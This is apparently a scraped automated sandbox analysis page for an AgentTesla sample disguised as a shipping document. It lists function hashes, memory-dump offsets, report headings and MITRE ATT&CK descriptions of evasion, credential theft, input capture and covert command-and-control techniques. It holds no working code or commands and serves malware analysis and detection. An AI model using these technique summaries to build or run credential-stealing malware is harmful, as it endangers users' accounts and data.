Instruction ID: e1a2996fb57213ccf4edf155833ed9ec48a101cc436f5e38511f79254829da2d
Opcode Fuzzy Hash: eb19cc35f73848b253e11584e1da846dc47ea92393ececae209263937db6596f
Instruction Fuzzy Hash: AF116DB19013498FDB50DFAAE90879FBBF8EB44314F248129D405A7740CB396944CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 01692F8C, Relevance: 1.6, APIs: 1, Instructions: 50COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 01694276

Memory Dump Source

Source File: 00000003.00000002.608461651.0000000001690000.00000040.00000001.sdmp, Offset: 01690000, based on PE: false

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 2cd0e1c8b4d80cea666efa623e12943ef14d05095a1f59b3cc402a9e2b843d99
Instruction ID: d424e394702700d0150adb19ec90377fa3e0e5818f9e98434e278a8975451eb3
Opcode Fuzzy Hash: 2cd0e1c8b4d80cea666efa623e12943ef14d05095a1f59b3cc402a9e2b843d99
Instruction Fuzzy Hash: 821120B1C002488FDB10CF9AC944BDEBBF8BB88224F01856AD429B7700C775A546CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 0169420A, Relevance: 1.5, APIs: 1, Instructions: 49COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 01694276

Memory Dump Source

Source File: 00000003.00000002.608461651.0000000001690000.00000040.00000001.sdmp, Offset: 01690000, based on PE: false

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 5aeab5d2ca51c5ac6e1832a96da661e9237d4bf33f3a23385f45aad461193a74
Instruction ID: 264913ad4a50a910032d9ccc31d21c7a3ed3601bf2ff09126b5c9de0e8f4a1f1
Opcode Fuzzy Hash: 5aeab5d2ca51c5ac6e1832a96da661e9237d4bf33f3a23385f45aad461193a74
Instruction Fuzzy Hash: 531102B1D002498FDB10CF9AC944BDEFBF8AF88224F15855AD429B7710C774A546CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 016941E0, Relevance: 1.5, APIs: 1, Instructions: 45COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 01694276

Memory Dump Source

Source File: 00000003.00000002.608461651.0000000001690000.00000040.00000001.sdmp, Offset: 01690000, based on PE: false

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 52739deaf893d0ea636797a786535ad29e09f39af505a507d348666bf5ce7b2f
Instruction ID: 99fd077c70ca4ae89453d750465c2d42ab2d8a8716e36408dfee8d6676728fcd
Opcode Fuzzy Hash: 52739deaf893d0ea636797a786535ad29e09f39af505a507d348666bf5ce7b2f
Instruction Fuzzy Hash: 431187B28003848FDB14CF9AC80038ABBF4FF88254F25C29AC018AB311D375A406CF61

Uniqueness

Uniqueness Score: -1.00%

Function 011FD53C, Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.607493241.00000000011FD000.00000040.00000001.sdmp, Offset: 011FD000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 169c304b8b3a54e60184b4d89f9b6c1429d1be881251ec0b85f07a8b07f89c45
Instruction ID: 5130b7e2ac46d39922e602ce27270f3f7d2c5dfa6eda18b9ea33c0d69b141e04
Opcode Fuzzy Hash: 169c304b8b3a54e60184b4d89f9b6c1429d1be881251ec0b85f07a8b07f89c45
Instruction Fuzzy Hash: 202128B1504240DFDF09DF54E9C4B26BF75FB84328F24866DEA094B256C336D856C7A2

Uniqueness

Uniqueness Score: -1.00%

Function 011FD537, Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.607493241.00000000011FD000.00000040.00000001.sdmp, Offset: 011FD000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 089f040691d95437d3e3945d9fc2aad68fd74f4be42516a5277ab229e787303f
Instruction ID: 0cc22de77bf387fac0ece705912b5dd152671d5227e14a5f2a86867c795b3e52
Opcode Fuzzy Hash: 089f040691d95437d3e3945d9fc2aad68fd74f4be42516a5277ab229e787303f
Instruction Fuzzy Hash: 27119D76404280CFDF06CF54E5C4B26BF72FB84224F2886A9D9094B656C336D45ACBA2

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0142D898, Relevance: .4, Instructions: 378COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.608206122.0000000001420000.00000040.00000001.sdmp, Offset: 01420000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 42875bfb2c89666f249e7921cf7b02eac3a86c35ebb925ada784bfca11eb3d98
Instruction ID: dd00858d2fec6ed2aeed074d51e432fcce705c02295db35c0d812a26b850a102
Opcode Fuzzy Hash: 42875bfb2c89666f249e7921cf7b02eac3a86c35ebb925ada784bfca11eb3d98
Instruction Fuzzy Hash: 21C1E931F14626CBFB281EB9841973B79A69B80651F94882BD596C76B5CF30C8C2C752

Uniqueness

Uniqueness Score: -1.00%

Function 05B7C6F0, Relevance: .3, Instructions: 265COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.612892389.0000000005B70000.00000040.00000001.sdmp, Offset: 05B70000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 49d0acd70501b22e1e8c6f25393a291b30b5ef80521abae3ae599887b3e9f7a2
Instruction ID: c1c54bba85883fddc93d2e571fc0348069793efeb531d3ba309f5455471e8c59
Opcode Fuzzy Hash: 49d0acd70501b22e1e8c6f25393a291b30b5ef80521abae3ae599887b3e9f7a2
Instruction Fuzzy Hash: 9CA15C36E10619CFCF15DFA5C8445EEBBF6FF89300B1585AAE915AB221EB31A905CB40

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically requires being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	File monitoring, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Authentication logs, Email gateway, File monitoring, Mail server, Office 365 trace logs, Process monitoring, Process use of network
Platforms:	Office 365, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Analysis Report BL Draft Copy #747470.exe

Overview

General Information

Detection

Signatures

Classification

Startup

Malware Configuration

Threatname: Agenttesla

Yara Overview

Memory Dumps

Unpacked PEs

Sigma Overview

System Summary:

Signature Overview

AV Detection:

Compliance:

Networking:

Key, Mouse, Clipboard, Microphone and Screen Capturing:

System Summary:

Data Obfuscation:

Persistence and Installation Behavior:

Boot Survival:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Stealing of Sensitive Information:

Remote Access Functionality:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Version Infos

Network Behavior

Snort IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	API monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre